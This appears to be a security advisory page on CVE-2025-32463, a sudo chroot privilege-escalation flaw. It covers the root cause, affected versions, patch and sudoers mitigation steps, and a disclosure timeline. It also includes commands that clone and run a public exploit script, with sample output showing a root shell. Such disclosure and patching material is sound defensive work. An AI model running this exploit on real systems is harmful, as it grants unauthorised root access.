
CVE-2025-32463

Critical Local Privilege Escalation in the Most Widely Used Linux Privilege Manager
Any local user (even without sudoers permissions) could become root in seconds using sudo -R
CVE-2025-32463 (also known as "chroot-to-root") is a critical local privilege escalation vulnerability in sudo.
It allows any local unprivileged user — even those not listed in sudoers — to gain full root access simply by using the -R / --chroot option.
The flaw was introduced in sudo 1.9.14 (June 2023) and existed until 1.9.17p1 (June 2025). It was not a traditional bug but a dangerous side-effect of how sudo handled path resolution inside a user-controlled chroot before policy checks.
Official Sudo Advisory: "An attacker can leverage sudo’s
-Roption to run arbitrary commands as root, even if they are not listed in the sudoers file."
Reality Check:
The bug originated from a 2023 change in sudo's command-matching logic:
-R /path is used, sudo calls pivot_root() before fully evaluating the sudoers policy./etc/nsswitch.conf from inside the chroot./etc/nsswitch.conf (e.g., passwd: /woot1337)libnss_/woot1337.so.2 containing a constructor that runs as root.Key Insight: The -R option was allowed even for users with no sudo permissions, making it a perfect attack vector.
Only sudo 1.9.14 through 1.9.17 (before 1.9.17p1)
Widely Affected:
NOT affected:
One-liner exploit (from Stratascale CRU):
# 1 – clone repo
$ git clone https://github.com/zaryouhashraf/CVE-2025-32463
$ cd CVE-2025-32463
# 2 – build and run Docker image (tagged "sudo-chwoot")
$ sudo chmod +x CVE-2025-32463.sh
$ ./CVE-2025-32463.sh
# 3 – run exploit in container (runs root command directly or drops you into a root shell)
┌──(kali㉿kali)-[~]
└─$ ./CVE-2025-32463.sh
═══════════════════════════════════════════════════════════════
⚠ WARNING: CVE-2025-32463 EXPLOIT PoC ⚠
═══════════════════════════════════════════════════════════════
This script is for AUTHORIZED TESTING ONLY on systems you own.
Running on unauthorized systems is ILLEGAL.
Patch immediately after testing (sudo 1.9.17p1+).
[+] Creating temporary exploit stage...
[+] Compiling malicious NSS library...
[+] Triggering sudo -R ... (expect root shell)
(If successful, you'll drop into a root bash prompt)
[!] CVE-2025-32463 triggered - gaining root...
[+] You are now root!
┌──(root㉿kali)-[/]
└─# whoami
root
sudo -V | head -n 1
✅ Safe if 1.9.17p1 or newer (or ≤ 1.9.13)
Debian/Ubuntu:
sudo apt update && sudo apt install --reinstall sudo
Fedora/RHEL:
sudo dnf update sudo
Arch:
sudo pacman -S sudo
Add to /etc/sudoers (or a file in /etc/sudoers.d/):
Defaults !use_chroot
Search for and remove any CHROOT= or runchroot= lines.
2026 Pro Tip: Scan old Docker images, CI runners, and legacy VMs — many still ship vulnerable sudo snapshots.
--chroot) can become attack surface if not isolated.This incident reinforced the need for principle of least privilege even in core system tools.
Status as of March 2026: ✅ Completely mitigated on all modern systems • Chroot feature deprecated • Ecosystem safer
Made with ❤️ for Linux admins who patched before the KEV hit
| Date | Event |
|---|
| June 2023 | sudo 1.9.14 released (bug introduced) |
| April 1, 2025 | Rich Mirch reports privately |
| April 8, 2025 | CVE-2025-32463 assigned |
| June 9, 2025 | Patch proposed |
| June 30, 2025 | Public disclosure + Stratascale blog + full PoC |
| July 2025 | sudo 1.9.17p1 released; major distros push updates |
| September 29, 2025 | Added to CISA KEV catalog |
| 2026 | Chroot feature fully deprecated across ecosystem |